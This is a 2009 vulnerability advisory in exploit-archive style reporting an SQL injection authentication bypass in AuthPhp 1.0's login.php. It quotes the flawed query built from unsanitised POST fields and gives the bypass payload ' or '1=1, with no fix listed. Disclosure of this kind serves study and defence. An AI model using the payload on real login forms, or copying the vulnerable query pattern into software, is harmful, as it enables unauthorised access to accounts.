AuthPhp 1.0 (Auth Bypass) SQL Injection Vulnerability

2009-02-10 22:06:35

#########################################################################################
[0x01] Informations:

Name : AuthPhp 1.0
Download :
http://frankmancuso.ca/downloads/authphp/authphp-stable-1.0.zip
Vulnerability : Auth Bypass
Author : x0r
Contact : [email protected]
Notes : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login.php

[Code]
{
$username = $_POST['username'];
$passwd = $_POST['passwd'];

// Call mysql class
$db = new db;
$db->connect();
$sql = "SELECT * FROM users WHERE username='$username' &&
password='$passwd' ";
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: ' or '1=1

########################################################################################

#

Fixes

No fixes

In order to submit a new fix you need to be registered.